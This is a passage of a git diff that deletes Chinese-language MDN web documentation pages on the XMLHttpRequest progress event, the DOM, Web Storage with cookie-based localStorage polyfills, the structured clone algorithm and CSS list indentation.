-    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
-    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
-    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
-</div>
-
-<textarea readonly class="event-log"></textarea>
- - - -

JS

- -
const xhrButtonSuccess = document.querySelector('.xhr.success');
-const xhrButtonError = document.querySelector('.xhr.error');
-const xhrButtonAbort = document.querySelector('.xhr.abort');
-const log = document.querySelector('.event-log');
-
-function handleEvent(e) {
-    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
-}
-
-function addListeners(xhr) {
-    xhr.addEventListener('loadstart', handleEvent);
-    xhr.addEventListener('load', handleEvent);
-    xhr.addEventListener('loadend', handleEvent);
-    xhr.addEventListener('progress', handleEvent);
-    xhr.addEventListener('error', handleEvent);
-    xhr.addEventListener('abort', handleEvent);
-}
-
-function runXHR(url) {
-    log.textContent = '';
-
-    const xhr = new XMLHttpRequest();
-    addListeners(xhr);
-    xhr.open("GET", url);
-    xhr.send();
-    return xhr;
-}
-
-xhrButtonSuccess.addEventListener('click', () => {
-    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
-});
-
-xhrButtonError.addEventListener('click', () => {
-    runXHR('https://somewhere.org/i-dont-exist');
-});
-
-xhrButtonAbort.addEventListener('click', () => {
-    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
-});
- -

Result

- -

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-progress')}}{{Spec2('XMLHttpRequest')}}
- -

浏览器兼容性

- - - -

{{Compat("api.XMLHttpRequest.progress_event")}}

- -

相关链接

- -
    -
  • Related events: {{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}, {{domxref("XMLHttpRequest/load_event", "load")}}, {{domxref("XMLHttpRequest/loadend_event", "loadend")}}, {{domxref("XMLHttpRequest/error_event", "error")}}, {{domxref("XMLHttpRequest/abort_event", "abort")}}
  • -
  • Monitoring progress
  • -
diff --git a/files/zh-cn/web/guide/api/dom/index.html b/files/zh-cn/web/guide/api/dom/index.html deleted file mode 100644 index e09b7ab597..0000000000 --- a/files/zh-cn/web/guide/api/dom/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: DOM 开发者指南 -slug: Web/Guide/API/DOM -tags: - - API - - DOM - - Guide - - NeedsTranslation - - TopicStub -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/Guide/API/DOM ---- -

{{draft}}

- -

文档对象模型( Document Object Model) 是为 HTMLXML 文档编写的应用程序接口。它为文档提供了结构化的描述, 使得开发者能够修改它们的内容和展现方式. 更重要的是, 它可以将网页与脚本或编程语言连接起来。

- -

开发者能用来修改和创建网页的所有性质、方法和事件都被组织到对象objects)中, (例如, document 对象代表着文档本身,table 对象代表 一个 HTML 表格元素等等)。在较新的网络浏览器中,这些对象都可以用脚本语言获取。

- -

DOM模型常被用来与 JavaScript交互。然而,DOM是独立于任何编程语言之外而设计的,这使得文档的结构化描述可以从一个单个、兼容的接口获取,尽管我们青睐于Javascript,但我们可以为任何语言创建DOM的引用接口。

- -

万维网联盟组织( World Wide Web Consortium )为DOM建立了一套标准, 叫做 W3C DOM。它被如今大多数主流浏览器所支持,使得可以开发出强大的跨浏览器应用。

- -

为什么DOM很重要?

- -

"动态超文本链接语言" (DHTML) 是一个被一些开发者们用来描述结合HTML、样式表、脚本而使文档富有动态效果技术的名词。 W3C DOM工作组致力于开发可操作的、不受语言限制并被大家所认同的解决方案 (可参见 W3C 问答).

- -

正如 Mozilla 的标题"网络应用程序平台”所强调的, 对DOM的支持是核心的特点,也是Mozilla能取代其它浏览器所必需的特点。更为重要的事实是--Mozilla(包括Firefox和Thunderbird)的用户界面都是用XUL创建的,并且用DOM修改自己的用户界面

- -

更多关于DOM的内容

- -

{{LandingPageListSubpages}}

- -

 

diff --git a/files/zh-cn/web/guide/api/dom/storage/index.html b/files/zh-cn/web/guide/api/dom/storage/index.html deleted file mode 100644 index 194b71a94a..0000000000 --- a/files/zh-cn/web/guide/api/dom/storage/index.html +++ /dev/null @@ -1,542 +0,0 @@ ---- -title: Storage -slug: Web/Guide/API/DOM/Storage -translation_of: Web/API/Web_Storage_API -translation_of_original: Web/Guide/API/DOM/Storage ---- -

- 概述

-

- DOM存储是一套在Web Applications 1.0 规范中首次引入的与存储相关的特性的总称, 现在已经分离出来,单独发展成为独立的W3C Web存储规范. DOM存储被设计为用来提供一个更大存储量,更安全,更便捷的存储方法,从而可以代替掉将一些不需要让服务器知道的信息存储到cookies里的这种传统方法.该特性在Firefox 2Safari 4中首次引入.

-
- 注意: DOM存储有别于mozStorage (Mozilla的XPCOM接口,用来访问SQLite) 也有别于Session store API (一个XPCOM 存储工具,主要为扩展程序使用).
-

- 描述

-

- DOM存储的机制是通过存储字符串类型的键/值对,来提供一种安全的存取方式.这个附加功能的目标是提供一个全面的,可以用来创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间).

-

- 基于Mozilla的浏览器, Internet Explorer 8+, Safari 4+ 以及 Chrome 都提供了自己的DOM存储规范的实现. (如果你想让自己的代码兼容多个浏览器,则你需要照顾一下老版本的IE浏览器,IE下有一个类似的特性,在IE8之前版本也可以使用,叫做"userData behavior",它允许你在多重浏览器会话中永久地保存数据.)

-

- DOM存储很有用,因为在浏览器端没有好的方法来持久保存大量数据。浏览器cookie的能力有限,而且不支持组织持久数据,其他方法(如flash本地存储)需要外部插件支持。

-

- 由Aaron Boodman编写的halfnote(笔记类应用程序)是第一批使用新的DOM存储功能(不包括internet explorer的userData behavior)开发的公开应用程序之一。在这个应用里,Aaron同时将笔记保存到服务器(当网络可用时)和本地,这允许使用者即使在不稳定的网络环境下也能安全的记录备注事项。

-

- 虽然halfnote的理念和实现比较简单,但是halfnote的创新展示了一种在线上和线下都可用的新型web应用的可能性。

-

- 参考

-

- 以下所提到的对象都是全局对象,作为 window 对象 的属性存在。这意味着可以以 sessionStorage 或者 window.sessionStorage 的形式访问这些对象。(这点很重要,因为可以使用iframe来存储、访问除了直接包含在页面的数据之外的附加数据。)

-

- Storage

-

- 它是所有Storage实例(sessionStorageglobalStorage[location.hostname])的构造函数,设置Storage.prototype.removeKey = function(key) { this.removeItem(this.key(key)) },可通过localStorage.removeKeysessionStorage.removeKey访问到。

-

- globalStorage对象不是Storage的实例,而是StorageObsolete的一个实例。

-

- Storage被定义在WhatWG Storage Interface 中,如下:

-
interface Storage {
-  readonly attribute unsigned long length;
-  [IndexGetter] DOMString key(in unsigned long index);
-  [NameGetter] DOMString getItem(in DOMString key);
-  [NameSetter] void setItem(in DOMString key, in DOMString data);
-  [NameDeleter] void removeItem(in DOMString key);
-  void clear();
-};
-
-
- 注意:虽然可以直接通过标准的 JavaScript 属性访问方法来设置和读取值,但是推荐的做法是使用 getItem 和 setItem 方法。
-
- 注意:需要时刻注意的一点是,所有数据在被保存到下面将要介绍的任何一个存储器之前,都将通过它的 .toString 方法被转换成字符串。所以一个普通对象将会被存储为 "[object Object]",而不是对象本身或者它的 JSON 形式。使用浏览器自身提供的 JSON 解析和序列化方法来存取对象是比较好的,也是比较常见的方法。
-

- sessionStorage

-

- sessionStorage 是个全局对象,它维护着在页面会话(page session)期间有效的存储空间。只要浏览器开着,页面会话周期就会一直持续。当页面重新载入(reload)或者被恢复(restores)时,页面会话也是一直存在的。每在新标签或者新窗口中打开一个新页面,都会初始化一个新的会话。 

-
// 保存数据到当前会话的存储空间
-sessionStorage.setItem("username", "John");
-
-// 访问数据
-alert( "username = " + sessionStorage.getItem("username"));
-
-

- 当浏览器被意外刷新的时候,一些临时数据应当被保存和恢复。sessionStorage 对象在处理这种情况的时候是最有用的。

-

- {{ fx_minversion_note("3.5", "在Firefox 3.5之前的版本中,如果浏览器意外崩溃,则在重启后,sessionStorage中保存的数据不会被恢复.之后的版本中,会恢复上次崩溃前的sessionStorage数据.") }}

-

- 例子:

-

- 自动保存一个文本域中的内容,如果浏览器被意外刷新,则恢复该文本域中的内容,所以不会丢失任何输入的数据。

-
 // 获取到我们要循环保存的文本域
- var field = document.getElementById("field");
-
- // 查看是否有一个自动保存的值
- // (只在浏览器被意外刷新时)
- if ( sessionStorage.getItem("autosave")) {
-    // 恢复文本域中的内容
-    field.value = sessionStorage.getItem("autosave");
- }
-
- // 每隔一秒检查文本域中的内容
- setInterval(function(){
-    // 并将文本域的值保存到session storage对象中
-    sessionStorage.setItem("autosave", field.value);
- }, 1000);
-
-

- 更多信息:

- -

- localStorage

-

- localStorage is the same as sessionStorage with same same-origin rules applied but it is persistent. localStorage was introduced in Firefox 3.5.

-
- 注意:当浏览器进入私人模式(private browsing mode,Google Chrome 上对应的应该是叫隐身模式)的时候,会创建一个新的、临时的、空的数据库,用以存储本地数据(local storage data)。当浏览器关闭时,里面的所有数据都将被丢弃。
-

- 兼容性

-

- 这些 Storage 对象最近刚被加入标准当中,所以并不是所有的浏览器都支持。如果你想在没有原生支持 localStorage 对象的浏览器中使用它,可以在你编写的 JavaScript 代码的首部插入下面两段代码中的任意一段。

-

- This algorithm is an exact imitation of the localStorage object, but making use of cookies.

-
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        var sExpDate = new Date();
-        sExpDate.setDate(sExpDate.getDate() - 1);
-        document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var iCouple, iKey, iCouplId = 0, aCouples = document.cookie.split(/\s*;\s*/); iCouplId < aCouples.length; iCouplId++) {
-        iCouple = aCouples[iCouplId].split(/\s*=\s*/);
-        if (iCouple.length > 1) {
-          oStorage[iKey = unescape(iCouple[0])] = unescape(iCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
-
- Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.setItem() and localStorage.removeItem() to add, change or remove a key. The use of methods localStorage.yourKey = yourValue; and delete localStorage.yourKey; to set or delete a key is not a secure way with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
-

- Here is another, less exact, imitation of the localStorage object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer < 8. It also makes use of cookies.

-
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      var sExpDate = new Date();
-      sExpDate.setDate(sExpDate.getDate() - 1);
-      document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
-
- Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.getItem(), localStorage.setItem() and localStorage.removeItem() to get, add, change or remove a key. The use of method localStorage.yourKey in order to get, set or delete a key is not permitted with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
-
- 与 globalStorage 的关系的兼容性
-

- localStorage is also the same as globalStorage[location.hostname], with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and localStorage being an instance of Storage as opposed to globalStorage[location.hostname] being an instance of StorageObsolete which is covered below. 例如,在 http://example.com 中不能访问 https://example.com 中的 localStorage 对象,但是它们都可以访问同一个 globalStorage。 localStorage 是个标准接口,但 globalStorage 是非标准的。所以你的代码最好不要依赖这些关系。

-

- Please note that setting a property on globalStorage[location.hostname] does not set it on localStorage and extending Storage.prototype does not affect globalStorage items, only extending StorageObsolete.prototype does.

-

- globalStorage

-

- {{ Non-standard_header() }}{{ obsolete_header("13.0") }}globalStorage is obsolete since Gecko 1.9.1 (Firefox 3.5) and unsupported since Gecko 13 (Firefox 13). Just use {{ Anch("localStorage") }} instead. This proposed addition to HTML 5 has been removed from the HTML 5 specification in favor of <code>localStorage</code>, which is implemented in Firefox 3.5. This is a global object (globalStorage) that maintains multiple private storage areas that can be used to hold data over a long period of time (e.g. over multiple pages and browser sessions).

-
- Note: globalStorage is not a Storage instance, but a StorageList instance containing StorageObsolete instances.
-
// Save data that only scripts on the mozilla.org domain can access
-globalStorage['mozilla.org'].setItem("snippet", "<b>Hello</b>, how are you?");
-
-

- Specifically, the globalStorage object provides access to a number of different storage objects into which data can be stored. For example, if we were to build a web page that used globalStorage on this domain (developer.mozilla.org) we'd have the following storage object available to us:

-
    -
  • - globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} - All web pages within the developer.mozilla.org sub-domain can both read and write data to this storage object.
  • -
-

- 例子:

-

- All of these examples require that you have a script inserted (with each of the following code) in every page that you want to see the result on.

-

- Remember a user's username for the particular sub-domain that is being visited:

-
 globalStorage['developer.mozilla.org'].setItem("username", "John");
-
-

- Keep track of the number of times that a user visits all pages of your domain:

-
 // parseInt must be used since all data is stored as a string
- globalStorage['mozilla.org'].setItem("visits", parseInt(globalStorage['mozilla.org'].getItem("visits") || 0 ) + 1);
-
-

- 存储位置以及清除数据

-

- In Firefox the DOM storage data is stored in the webappsstore.sqlite file in the profile folder (there's also chromeappsstore.sqlite file used to store browser's own data, notably for the start page - about:home, but potentially for other internal pages with "about:" URLs).

-
    -
  • - DOM Storage can be cleared via "Tools -> Clear Recent History -> Cookies" when Time range is "Everything" (via nsICookieManager::removeAll) -
      -
    • - But not when another time range is specified: (bug 527667)
    • -
    • - Does not show up in Tools -> Options -> Privacy -> Remove individual cookies (bug 506692)
    • -
    -
  • -
  • - DOM Storage is not cleared via Tools -> Options -> Advanced -> Network -> Offline data -> Clear Now.
  • -
  • - Doesn't show up in the "Tools -> Options -> Advanced -> Network -> Offline data" list, unless the site also uses the offline cache. If the site does appear in that list, its DOM storage data is removed along with the offline cache when clicking the Remove button.
  • -
-

- See also clearing offline resources cache.

-

- 更多信息

- -

- 例子

-
    -
  • - JavaScript Web Storage Tutorial: Creating an Address Book Application - hands-on tutorial describing how to use the Web Storage API by creating a simple address book application
  • -
  • - offline web applications at hacks.mozilla.org - showcases an offline app demo and explains how it works.
  • -
  • - Noteboard - Note writing application that stores all data locally.
  • -
  • - jData - A shared localStorage object interface that can be accessed by any website on the internet and works on Firefox 3+, Webkit 3.1.2+ nightlies, and IE8. Think of it as pseudo-globalStorage[""] but write access needs user confirmation.
  • -
  • - HTML 5 localStorage example. Very simple and easy to understand example of localStorage. Saves and retrieves texts and shows a list of saved items. Tested in Firefox 3 or higher.
  • -
  • - HTML5 Session Storage. A very simple example of session storage. Also includes a example on local storage. Tested in Firefox 3.6 or higher.
  • -
  • - Basic DOMStorage Examples - Broken in Firefox 3 and up due to use of globalStorage on one domain level up from the current domain which is not allowed in Firefox 3.
  • -
  • - halfnote - (displaying broken in Firefox 3) Note writing application that uses DOM Storage.
  • -
-

- 浏览器兼容性

-

- {{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Feature - Chrome - Firefox (Gecko) - Internet Explorer - Opera - Safari (WebKit)
- localStorage - 4 - 3.5 - 8 - 10.50 - 4
- sessionStorage - 5 - 2 - 8 - 10.50 - 4
- globalStorage - {{ CompatNo() }} - 2-13 - {{ CompatNo() }} - {{ CompatNo() }} - {{ CompatNo() }}
-
-
- - - - - - - - - - - - - - - - - - - -
- Feature - Android - Firefox Mobile (Gecko) - IE Phone - Opera Mobile - Safari Mobile
- Basic support - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }}
-
-

- All browsers have varying capacity levels for both local- and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

-

-  

-

- 相关链接

- -

- {{ HTML5ArticleTOC() }}

-

- {{ languages( { "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "en": "en/DOM/Storage" } ) }}

-

- ---------------------------------

-

-  

-

- 摘要

-

- DOM Storage,就是在Web Applications 1.0 specification中介绍的那些存储相关特性集合的名称。相比较在cookies中存储信息来说,DOM Stroage更大、更安全、更易于使用的。目前支持的浏览器包括Mozilla Firefox 2+, Google Chrome, Apple Safari, Opera和Microsoft IE9+,在移动设备上也包括iPhone & iPad Safari。

-
- Note: DOM Storage 与 mozStorage (Mozilla对于SQLite的XPCOM接口)和Session store API(扩展使用的一个XPCOM存储).不同
-

- 描述

-

- DOM Storage机制是一种通过字符串形式的名/值对来安全地存储和使用的方法。这个附加功能的目标是提供一个更全面的、可以创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间)。

-

- 目前,只有基于Mozilla的浏览器提供了DOM Storage的实现。不过,Internet Explorer也有一个类似的特性,叫做"userData behavior",他允许你在多重浏览器会话中永久地保存数据。

-

- DOM Storage 是很有用的,因为在任何一段时期都没有一个很好的、只通过浏览器来永久存储合理大小的数据的方法。浏览器cookies 限制了存储容量,而且并没有为组织永久性的数据提供支持,并且其他的方法还需要外部插件来实现(例如Flash Local Storage)。

-

- 第一个使用了新的DOM Storage功能(除了Internet Explorer 的 userData Behavior之外)的公共应用程序是由 Aaron Boodman 写的 halfnote(一个便签应用程序) 。在他的程序中,Aaron同时把便签内容保存到服务器上(当Internet连接可用时)和一个本地数据存储中。这就允许用户即便是在不定式发生internet连接中断时,也可以安全的写一些有备份的便签。

-

- 不过,在halfnote中表现出来的概念和实现,都还是相对简单的。它的诞生揭示了一种新的、可以在线或离线使用的网络应用程序。

-

- 参考

-

- 下面的内容都是作为每个window 对象的属性存在的全局对象。这也就是说,可以通过sessionStorage 或者 window.sessionStorage 来访问它们。(这很重要,因为随后你可以使用iframe来存储、访问、添加那些并不是立刻就包含在你页面中的数据。)

-

- sessionStorage

-

- 这是一个全局对象(sessionStorage),它含有一个在页面会话有效期内可用的存储区域。只要页面没有关闭,一个页面会话就始终保持着,并且当页面被重新载入或恢复时“复活”。打开一个新的标签页或新窗口都会初始化新的会话。

-
// 将数据存入当前会话的一个存储中
-sessionStorage.username = "John";
-
-// 访问某些已存储的数据
-alert( "username = " + sessionStorage.username );
-
-

- sessionStorage 对象是最有用的,它持有那些应该保存的临时数据,而且一旦浏览器突然被刷新时,要恢复的那些数据,

-
- Note: sessionStorage 还应该有在浏览器崩溃后存储和恢复数据的功能,不过由于{{ Bug(339445) }}的原因,这个功能到现在还没有在Firefox中实现。这个功能实现之后,sessionStorage的防御功能就十分有用了。
-

- 举例:

-

- 自动保存文本字段的内容,如果浏览器突然被刷新,就恢复字段内容,这样就不会丢失任何输入了。

-
 // 获得我们要跟踪的那个文本字段
- var field = document.getElementById("field");
-
- // 看看我们是否有一个autosave的值
- // (这将只会在页面被突然刷新时发生)
- if ( sessionStorage.autosave ) {
-     // 恢复文本字段中的内容
-     field.value = sessionStorage.autosave;
- }
-
- // 每秒钟检查一次文本字段的内容
- setInterval(function(){
-     // 并把结果保存到会话存储对象中
-     sessionStorage.autosave = field.value;
- }, 1000);
-
-

- 更多信息:

- -

- globalStorage

-

- 这是一个全局对象(globalStorage),它维护着各种公共的或者私有的,可以用来长时期保存数据的存储空间(例如,在多重的页面和浏览器会话之间)。

-
// 可以这样访问那些仅对mozilla.org域上的脚本保存的数据
-globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
-
-// 可以这样访问为任何网页任何域存储的数据
-globalStorage[''].favBrowser = "Firefox";
-
-

- 特别地,globalStorage对象,提供了访问一些不同的可以保存数据的存储对象的方法。例如,如果我们要建立一个可以在域(developer.mozilla.org)下面可以使用globalStorage的网页,我们有下面这些存储对象可以使用:

-
    -
  • - globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} - 在developer.mozilla.org下面所有的子域都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('\'mozilla.org\'') }} - 在mozilla.org域名下面的所有网页都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('\'org\'') }} - 在.org域名下面的所有网页都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('') }} - 在任何域名下的任何网页都可以通过这个存储对象来进行读和写。
  • -
-
- 注意: firefox目前还没有实现globalStorage{{ mediawiki.external('tld') }}globalStorage{{ mediawiki.external('') }} (会抛出一个安全错误),这是由于对于这些名字空间可以进行随意读写的话是有安全漏洞的 更多信息
-

- 示例:

-

- 下面这些示例,需要你在所有想看到效果的页面中都插入脚本(包括如下所有的代码)。

-

- 记录某个指定子域名下面正在访问的用户的username:

-
 globalStorage['developer.mozilla.org'].username = "John";
-
-

- 跟踪一个用户在你的域名下所访问的所有页面的次数:

-
 // 由于所有数据都是被当作一个字符串来保存的,所以这里必须使用parseInt
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
-

- 记录所有你访问的网站:

-
 globalStorage[''].sites += "," + location.hostname;
-
-

- 更多信息:

- -

- More information

- -

- Examples

- - - diff --git a/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html b/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html deleted file mode 100644 index 60444f8dc4..0000000000 --- a/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 结构化克隆算法 -slug: Web/Guide/API/DOM/The_structured_clone_algorithm -tags: - - DOM - - HTML5 - - 结构化克隆算法 -translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm ---- -

结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

- -

结构化克隆所不能做到的

- -
    -
  • Error 以及 Function 对象是不能被结构化克隆算法复制的;如果你尝试这样子去做,这会导致抛出 DATA_CLONE_ERR 的异常。
  • -
  • 企图去克隆 DOM 节点同样会抛出 DATA_CLONE_ERROR 异常。
  • -
  • 对象的某些特定参数也不会被保留 -
      -
    • RegExp 对象的 lastIndex 字段不会被保留
    • -
    • 属性描述符,setters 以及 getters(以及其他类似元数据的功能)同样不会被复制。例如,如果一个对象用属性描述符标记为 read-only,它将会被复制为 read-write,因为这是默认的情况下。
    • -
    • 原形链上的属性也不会被追踪以及复制。
    • -
    -
  • -
- -

支持的类型

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
对象类型注意
所有的原始类型symbols 除外
Boolean 对象 
String 对象 
Date 
RegExplastIndex 字段不会被保留。
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView这基本上意味着所有的 类型化数组 ,如 Int32Array 等。
{{ domxref("ImageData") }} 
Array 
Object仅包括普通对象(如对象字面量)
Map 
Set 
- -

相关链接

- - diff --git a/files/zh-cn/web/guide/css/consistent_list_indentation/index.html b/files/zh-cn/web/guide/css/consistent_list_indentation/index.html deleted file mode 100644 index 1426940c48..0000000000 --- a/files/zh-cn/web/guide/css/consistent_list_indentation/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 调整列表缩进 -slug: Web/Guide/CSS/Consistent_list_indentation -tags: - - CSS - - Guide - - NeedsUpdate - - Web - - 列表 - - 缩进 -translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation ---- -

对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

- -

为了弄明白这是为什么,以及如何避免这些问题发生,有必要研究一下列表结构的具体细节。

- -

创建一个列表

- -

首先,来看一个简单,单独的列表项目。该列表项目没有标记符号(或称之为“着重号”),并且没有被列表包裹起来。如下图图1所示,单独的列表项是无效的,简单且没有任何装饰。

- -

Figure 1

- -

红色的虚线边框代表列表项目内容区域的外边界。记住,从这一点上看,这个列表项目没有内边距和边框。如果我们再添加两个列表项目,我们得到下面的结果,如图2所示。

- -

Figure 2

- -

现在我们在外面加上父元素;这个例子中,我们使用一个无序列表(i.e., <ul>)。根据 CSS 盒子模型,列表项目的盒子必须显示在其父元素的内容区域里。因为这里的父元素既没有 padding 也没有 margin,所以我们得到下面的结果,如图3所示。

- -

Figure 3

- -

这里,蓝色的虚线边框表示 <ul> 元素内容区域的边缘。因为我们没有给 <ul> 元素添加内边距,  所以它的内容的包裹层紧贴在三个列表项外。

- -

现在我们来添加列表项目标记,由于这是一个无序列表,我们添加传统的实心圆“着重标记”,如下图图4所示。

- -

Figure 4

- -

可以看到,这些标记符号在<ul>内容区域的外面,但这无关紧要。重要的是,这些标记被放到主要的<li>元素盒子外面了。它们有点像列表项目的附件,在<li>的内容区域外游荡,但依然依附于<li>。

- -

这就是为什么在除了IE浏览器以外的所有浏览器上,标记符号都被放在<li>元素的边框外,假设列表项位置的值为外部"outside"。如果该值被改为内部"inside",则标记符号会被放到<li>的内容区域里面,像是放在<li>最开头的内联盒子一样。

- -

二次缩进

- -

So how will all this appear in a document? At the moment, we have a situation analogous to these styles:

- -
ul, li {margin-left: 0; padding-left: 0;}
- -

If we dropped this list into a document as-is, there would be no apparent indentation and the markers would be in danger of falling off the left edge of the browser window.

- -

In order to avoid this and get some indentation, there are really only three options available to browser implementors.

- -
    -
  1. Give each <li> element a left margin.
  2. -
  3. Give the <ul> element a left margin.
  4. -
  5. Give the <ul> element some left padding.
  6. -
- -

As it turns out, nobody seems to have used the first option. The second option was taken by Internet Explorer for Windows and Macintosh, and Opera. The third was adopted by Gecko, and by extension all the browsers that embed it.

- -

Let's look at the two approaches for a moment. In Internet Explorer and Opera, the lists are indented by setting a left margin of 40 pixels on the <ul> element. If we apply a background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in Figure 5.

- -

Figure 5

- -

Gecko, on the other hand, sets a left padding of 40 pixels for the <ul> element, so given the exact same styles as were used to produce Figure 5, loading the example into a Gecko-based browser gives us Figure 6.

- -

Figure 6

- -

As we can see, the markers remain attached to the <li> elements, no matter where they are. The difference is entirely in how the <ul> is styled. We can only see the difference if we try to set a background or border on the <ul> element.

- -

Finding Consistency

- -

Boil it all down, and what we're left with is this: if you want consistent rendering of lists between Gecko, Internet Explorer, and Opera, you need to set both the left margin and left padding of the <ul> element. We can ignore <li> altogether for these purposes. If you want to reproduce the default display in Netscape 6.x, you write:

- -
ul {margin-left: 0; padding-left: 40px;}
- -

If you're more interested in following the Internet Explorer/Opera model, then:

- -
ul {margin-left: 40px; padding-left: 0;}
- -

Of course, you can fill in your own preferred values. Set both to 1.25em, if you like -- there's no reason why you have to stick with pixel-based indentation. If you want to reset lists to have no indentation, then you still have to zero out both padding and margin:

- -
ul {margin-left: 0; padding-left: 0;}
- -

Remember, though, that in so doing, you'll have the bullets hanging outside the list and its parent element. If the parent is the body, there's a strong chance your bullets will be completely outside the browser window, and thus will not be visible.

- -

结论

- -

In the end, we can see that none of the browsers mentioned in this article is right or wrong about how they lay out lists. They use different default styles, and that's where the problems creep in. By making sure you style both the left padding and left margin of lists, you can find much greater cross-browser consistency in your list indentation.

- -

建议

- -
    -
  • 在你调整列表的缩进的时候,务必确认同时设置了 padding 和 margin.
  • -
- -
-

原始文档信息

- -
    -
